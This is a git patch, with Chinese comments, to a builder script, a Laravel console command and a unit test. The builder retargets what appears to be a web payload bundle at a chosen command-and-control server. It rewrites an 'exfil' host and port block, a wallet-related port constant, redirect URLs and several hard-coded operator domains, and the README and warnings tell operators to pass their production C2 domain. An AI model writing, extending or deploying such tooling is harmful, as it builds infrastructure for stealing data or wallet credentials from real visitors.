From 2c11a46f1705ca29210fd94b72553eabcbcaf414 Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 24 Aug 2026 07:19:10 +0800 Subject: [PATCH] feat: ds --- channel-builder-ds/README.md | 13 +++++--- channel-builder-ds/tools/build.py | 14 +++++++++ channel-builder-ds/tools/tests/test_build.py | 32 ++++++++++++++++++++ routes/console.php | 5 +++ 4 files changed, 60 insertions(+), 4 deletions(-) diff --git a/channel-builder-ds/README.md b/channel-builder-ds/README.md index 7187096..d3c7801 100644 --- a/channel-builder-ds/README.md +++ b/channel-builder-ds/README.md @@ -17,10 +17,15 @@ exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true }, ``` ```bash +# 本地实验室 +php artisan ds:build --origin http://192.168.31.130:8000 + +# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130) +php artisan ds:build --origin https://你的域名 + +# 等价 cd channel-builder-ds -python3 tools/build.py -python3 tools/build.py --host 192.168.31.130 --port 8000 -python3 tools/build.py --origin http://192.168.31.130:8000 +python3 tools/build.py --origin https://你的域名 ``` -Writes `../public/next-chain/` (atomic replace). `source/` is never mutated. +看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。 diff --git a/channel-builder-ds/tools/build.py b/channel-builder-ds/tools/build.py index f95e448..f15b53c 100644 --- a/channel-builder-ds/tools/build.py +++ b/channel-builder-ds/tools/build.py @@ -22,6 +22,9 @@ PROJECT_ROOT = BUILDER_ROOT.parent DEFAULT_SOURCE = BUILDER_ROOT / "source" DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain" SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"} +# Checked into source/config.js; must be rewritten when --origin is not the lab box. +TEMPLATE_HOST = "192.168.31.130" +TEMPLATE_PORT = 8000 def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: @@ -35,6 +38,12 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: ("https://one99.vip:80", origin), ("http://one99.vip", origin), ("https://one99.vip", origin), + (f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin), + (f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin), + (f'https://{TEMPLATE_HOST}"', origin + '"'), + (f'http://{TEMPLATE_HOST}"', origin + '"'), + (f"https://{TEMPLATE_HOST}/", origin + "/"), + (f"http://{TEMPLATE_HOST}/", origin + "/"), ('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'), ('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'), ( @@ -44,8 +53,13 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'), ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'), (" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"), + (f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"), + (f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"), + (f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'), + (f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'), ("mh0usocqzi6f46i.com", ip), ("one99.vip", ip), + (TEMPLATE_HOST, ip), ("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"), ("_h === '192.168.4.10'", f"_h === '{ip}'"), ('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'), diff --git a/channel-builder-ds/tools/tests/test_build.py b/channel-builder-ds/tools/tests/test_build.py index 0aca764..e543fbb 100644 --- a/channel-builder-ds/tools/tests/test_build.py +++ b/channel-builder-ds/tools/tests/test_build.py @@ -65,6 +65,38 @@ class BuildTest(unittest.TestCase): ) self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443")) + def test_origin_rewrites_lab_template_config(self) -> None: + (self.source / "config.js").write_text( + 'window.NEWS2_CONFIG = {\n' + ' exfil: {\n' + ' host: "192.168.31.130",\n' + ' domain: "192.168.31.130",\n' + ' http_port: 8000,\n' + ' https_port: 8000,\n' + ' tls: false,\n' + ' prefer_https: false,\n' + ' },\n' + ' redirectUrl: "https://ab.ux600.com",\n' + '};\n', + encoding="utf-8", + ) + build.build( + self.source, + self.dest, + "c2.example.com", + 443, + "https://c2.example.com", + ) + published = (self.dest / "config.js").read_text(encoding="utf-8") + self.assertIn('host: "c2.example.com"', published) + self.assertIn('domain: "c2.example.com"', published) + self.assertIn("http_port: 443", published) + self.assertIn("https_port: 443", published) + self.assertIn("tls: true", published) + self.assertIn("https://c2.example.com/?landed=1", published) + self.assertNotIn("192.168.31.130", published) + self.assertNotIn("ab.ux600.com", published) + if __name__ == "__main__": unittest.main() diff --git a/routes/console.php b/routes/console.php index 0042f43..7893740 100644 --- a/routes/console.php +++ b/routes/console.php @@ -115,6 +115,11 @@ Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () { $host = trim((string) $this->option('host')); $port = trim((string) $this->option('port')); $origin = trim((string) $this->option('origin')); + if ($origin === '' && $host === '') { + $origin = rtrim((string) config('app.url'), '/'); + $this->warn('未传 --origin,使用 APP_URL: '.$origin); + $this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名'); + } if ($origin !== '') { $args[] = '--origin'; $args[] = $origin;